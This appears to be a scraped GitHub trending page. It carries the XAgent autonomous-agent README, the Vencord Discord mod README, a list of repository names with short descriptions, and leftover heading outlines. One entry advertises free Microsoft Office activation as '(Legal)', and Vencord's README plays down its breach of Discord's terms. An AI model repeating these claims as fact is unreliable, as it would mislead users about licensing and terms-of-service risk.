2023-10-29T02:04:02Z

An Autonomous LLM Agent for Complex Task Solving

XAgent

English • 中文

Tutorial • Demo • Blog • Citation

📖 Introduction

🏆 Our goal is to create a super-intelligent agent that can solve any given task!

Overview of XAgent.

XAgent

XAgent is designed with the following features:

Autonomy: XAgent can automatically solve various tasks without human participation.
Safety: XAgent is designed to run safely. All actions are constrained inside a docker container. Run it anyway!
Extensibility: XAgent is designed to be extensible. You can easily add new tools to enhance agent's abilities and even new agents！
GUI: XAgent provides a friendly GUI for users to interact with the agent. You can also use the command line interface to interact with the agent.
Cooperation with Human: XAgent can collaborate with you to tackle tasks. It not only has the capability to follow your guidance in solving complex tasks on the go but it can also seek your assistance when it encounters challenges.

XAgent is composed of three parts:

🤖 Dispatcher is responsible for dynamically instantiating and dispatching tasks to different agents. It allows us to add new agents and improve the agents' abilities.
🧐 Planner is responsible for generating and rectifying plans for tasks. It divides tasks into subtasks and generates milestones for them, allowing agents to solve tasks step by step.
🦾 Actor is responsible for conducting actions to achieve goals and finish subtasks. The actor utilizes various tools to solve subtasks, and it can also collaborate with humans to solve tasks.

The inner loop and outer loop mechanism of XAgent.

🧰 ToolServer

📝 File Editor provides a text editing tool to write, read, and modify files.
📘 Python Notebook provides an interactive Python notebook that can run Python code to validate ideas, draw figures, etc.
🌏 Web Browser provides a web browser to search and visit webpages.
🖥️ Shell provides a bash shell tool that can execute any shell commands, even install programs and host services.
🧩 Rapid API provides a tool to retrieve APIs from Rapid API and call them, which offers a wide range of APIs for XAgent to use. See ToolBench to get more information about the Rapid API collections. You can also easily add new tools to ToolServer to enhance XAgent's abilities.

✨ Quickstart

🛠️ Build and Setup ToolServer

docker compose up

Refer here for detailed information about our ToolServer.

If the ToolServer is updated, you have to rebuild the images:

docker compose build

🎮 Setup and Run XAgent

After setting up ToolServer, you can start to run XAgent.

Install requirements (Require Python >= 3.10)

pip install -r requirements.txt

Configure XAgent

You should configure XAgent in assets/config.yml before running it.
At least one OpenAI key is provided in assets/config.yml, which is used to access OpenAI API. We highly recommend using gpt-4-32k to run XAgent; gpt-4 is also OK for most simple tasks. In any case, at least one gpt-3.5-turbo-16k API key should be provided as a backup model. We do not test or recommend using gpt-3.5-turbo to run XAgent due to minimal context length; you should not try to run XAgent on that.
If you want to change the config_file path for XAgentServer, you should modify the CONFIG_FILE value in .env file and restart the docker container.

Run XAgent

python run.py --task "put your task here" --model "gpt-4" --config_file "assets/config.yml"

You can use the argument --upload_files to select the initial files you want to submit to XAgent.
The local workspace for your XAgent is in local_workspace, where you can find all the files generated by XAgent throughout the running process.
After execution, the entire workspace in ToolServerNode will be copied to running_records for your convenience.
Besides, in running_records, you can find all the intermediate steps information, e.g., task statuses, LLM's input-output pairs, used tools, etc.
You can load from a record to reproduce a former run, just by setting record_dir in config(default to Null). The record is a system-level recording tied to the code version of XAgent. All running-config、query、code execution statuses (including errors)、server behavior will be documented.
We have removed all sensitive information (including API keys) from the record so you can safely share it with others. In the near future, we will introduce more granular sharing options highlighting the contributions of humans during execution.

Run XAgent with GUI

# We ran the web ui docker when building the ToolServer network
# run nginx in docker
docker exec XAgent-Server systemctl start nginx

🎬 Demo

Here, we also show some cases of solving tasks by XAgent: You can check our live demo on XAgent Official Website. We also provide a video demo and showcases of using XAgent here:

Case 1. Data Analysis: Demonstrating the Effectiveness of Dual-Loop Mechanism

Case 2. Recommendation: A New Paradigm of Human-Agent Interaction

Case 3. Training Model: A Sophisticated Tool User

📊 Evaluation

We report a significant improvement of XAgent over AutoGPT in terms of human preference.

We also evaluate XAgent on the following benchmarks:

🖌️ Blog

Our blog is available at here!

🌟 Star History

Citation

If you find our repo useful, please kindly consider citing:

@misc{xagent2023,
      title={XAgent: An Autonomous Agent for Complex Task Solving}, 
      author={XAgent Team},
      year={2023},
}

Vendicated/Vencord

2023-10-29T02:04:02Z

The cutest Discord client mod

Vencord

The cutest Discord client mod

Features

Super easy to install (Download Installer, open, click install button, done)
100+ plugins built in: See a list
- Some highlights: SpotifyControls, MessageLogger, Experiments, GameActivityToggle, Translate, NoTrack, QuickReply, Free Emotes/Stickers, PermissionsViewer, CustomCommands, ShowHiddenChannels, PronounDB
Fairly lightweight despite the many inbuilt plugins
Excellent Browser Support: Run Vencord in your Browser via extension or UserScript
Works on any Discord branch: Stable, Canary or PTB all work (though for the best experience I recommend stable!)
Custom CSS and Themes: Inbuilt css editor with support to import any css files (including BetterDiscord themes)
Privacy friendly, blocks Discord analytics & crash reporting out of the box and has no telemetry
Maintained very actively, broken plugins are usually fixed within 12 hours
Settings sync: Keep your plugins and their settings synchronised between devices / apps (optional)

Installing / Uninstalling

Visit https://vencord.dev/download

Join our Support/Community Server

https://discord.gg/D9uwnFnqmd

Star History

Disclaimer

Discord is trademark of Discord Inc. and solely mentioned for the sake of descriptivity. Mention of it does not imply any affiliation with or endorsement by Discord Inc.

Using Vencord violates Discord's terms of service

Client modifications are against Discord’s Terms of Service.

However, Discord is pretty indifferent about them and there are no known cases of users getting banned for using client mods! So you should generally be fine as long as you don’t use any plugins that implement abusive behaviour. But no worries, all inbuilt plugins are safe to use!

Regardless, if your account is very important to you and it getting disabled would be a disaster for you, you should probably not use any client mods (not exclusive to Vencord), just to be safe

Additionally, make sure not to post screenshots with Vencord in a server where you might get banned for it

deepseek-ai/DreamCraft3D

2023-10-29T01:26:22Z

Official implementation of DreamCraft3D: Hierarchical 3D Generation with Bootstrapped Diffusion Prior

gtech-mulearn/Top-100-Coders

2023-10-29T01:26:22Z

Kerala Top 100 Coders - Huddle Global 2023. Join our coding challenge and showcase your skills. Connect with startups and industries in Kerala's vibrant tech ecosystem

P3N-101/ResourceKit

2023-10-29T01:26:22Z

Download and Activate Microsoft Office 2021 (Latest) for free. (Legal)

ByteByteGoHq/system-design-101

2023-10-29T01:46:17Z

Explain complex systems using visuals and simple terms. Help you prepare for system design interviews.

daveshap/ChatGPT_Custom_Instructions

2023-10-29T01:46:17Z

Repo of custom instructions that you can use for ChatGPT

AnthonyCalandra/modern-cpp-features

2023-10-29T01:46:17Z

A cheatsheet of modern C++ language and library features.

onx/ILOVEYOU

2023-10-29T02:04:22Z

Formatted and commented source code of ILOVEYOU/Love Letter

jtickle/.vim

2023-10-29T01:45:08Z

My Vim Configuration

psi/dotfiles

2023-10-29T01:45:08Z

My dotfiles

tommcdo/vim-lion

2023-10-29T01:45:08Z

A simple alignment operator for Vim text editor

roxma/nvim-yarp

2023-10-29T02:04:28Z

Yet Another Remote Plugin Framework for Neovim

dhruvasagar/vim-table-mode

2023-10-29T02:04:28Z

VIM Table Mode for instant table creation.

kien/ctrlp.vim

2023-10-29T02:04:28Z

Fuzzy file, buffer, mru, tag, etc finder.

dtee/scraper

2023-10-29T02:04:32Z

My Senior Project... from 2007.

Deeptrain-Community/fystart

2023-10-29T01:45:18Z

🍏 极目起始页，一个简洁的起始页，实现一言，工具箱，实用卡片，国际化，设置，ChatGPT搜索建议，翻译功能，自定义设置，搜索引擎建议，离线访问等功能 🍏 An intuitive start page implementing quotes, toolbox, utility cards, settings, ChatGPT search suggestions, internationalization, custom settings, search engine suggestions, translation, offline access, etc.

pevaristo/example-deploy

2023-10-29T01:45:18Z

Example Deploy

SMU-AWSCloudClub/wad2_workshop

2023-10-29T01:45:18Z

fluidd-core/fluidd

2023-10-29T02:04:38Z

Fluidd, the klipper UI.

buqiyuan/vue3-antdv-admin

2023-10-29T02:04:38Z

基于 vite4.x/vue-cli5.x + vue3.x + ant-design-vue4.x + typescript hooks 的基础后台管理系统模板 RBAC的权限系统, JSON Schema动态表单,动态表格,漂亮锁屏界面

evilensky/puppet-solr

2023-10-29T02:05:04Z

dmccreary/niem-to-owl

2023-10-29T01:45:46Z

Convert the National Information Exchange Model XML Schema to OWL

giellalt/dict-fin-smn

2023-10-29T02:05:12Z

giellalt/dict-sme-smj

2023-10-29T02:05:12Z

giellalt/dict-rus-sjd

2023-10-29T02:05:12Z

spiceratops/k8s-gitops

2023-10-30T01:38:30Z

pressidium/pressidium-yara-rules

2023-10-29T01:45:59Z

Welcome to the Pressidium® Yara Rules repository. This section contains a carefully curated collection of Yara rules specifically designed to detect and prevent WordPress or PHP malware and viruses, ensuring a safer online environment.

karlseguin/pg.zig

2023-10-29T01:46:06Z

Pixel Bender to Zig code translator

PixelGuys/Cubyz

2023-10-29T01:46:06Z

Voxel game with extensive modding API and procedural generated content.

Validark/Accelerated-Zig-Parser

2023-10-30T01:38:41Z

A high-throughput parser for the Zig programming language.

zackradisic/tyvm

2023-10-29T02:05:25Z

An experimental bytecode interpreter / type-checker for type-level Typescript

GitHub 1C Enterprise Daily Trending

michaelavila/asynchrony

vercel/next-learn

DreamCraft3D

Method Overview

BibTeX

bluesky-social/social-app

ChatGLM3

介绍

模型列表

评测结果

典型任务

使用方式

环境安装

综合 Demo

代码调用

从本地加载模型

网页版对话 Demo

命令行对话 Demo

API 部署

工具调用

低成本部署

引用

xxlong0/Wonder3D

The open-source payments switch

🎉 Hacktoberfest is here! 🎉

⚡️ Quick Start Guide

🔌 Fast Integration for Stripe Users

✅ Supported Features

🌟 Supported Payment Processors and Methods

🌟 Hosted Version

🤔 FAQs

What's Included❓

Repositories

🌳 Files Tree Layout

💪 Join us in building Hyperswitch

🤝 Our Belief

✨ Our Values

🤍 Contributing

👥 Community

🐞 Bugs and feature requests

🔖 Versioning

©️ Copyright and License

✨ Thanks to all contributors

cpacker/MemGPT

MemGPT

🤖 Create perpetual chatbots with self-editing memory!

🗃️ Chat with your data - talk to your SQL database or your local files!

📄 You can also talk to docs - for example ask about LlamaIndex!

Quick setup

What is MemGPT?

Running MemGPT locally

GPT-3.5 support

Local LLM support

main.py flags

Interactive CLI commands

Example applications

Use MemGPT to talk to your Database!

Loading local files into archival memory

Enhance with embeddings search

Talking to LlamaIndex API Docs

Support

Datasets

🚀 Project Roadmap

Development

Contributing

apache/incubator-answer

Answer - Build Q&A platform

Screenshots

Quick start

Running with docker

Plugins

Contributing

License

OpenBMB/XAgent

XAgent

📖 Introduction

XAgent

🧰 ToolServer

✨ Quickstart

`main.py` flags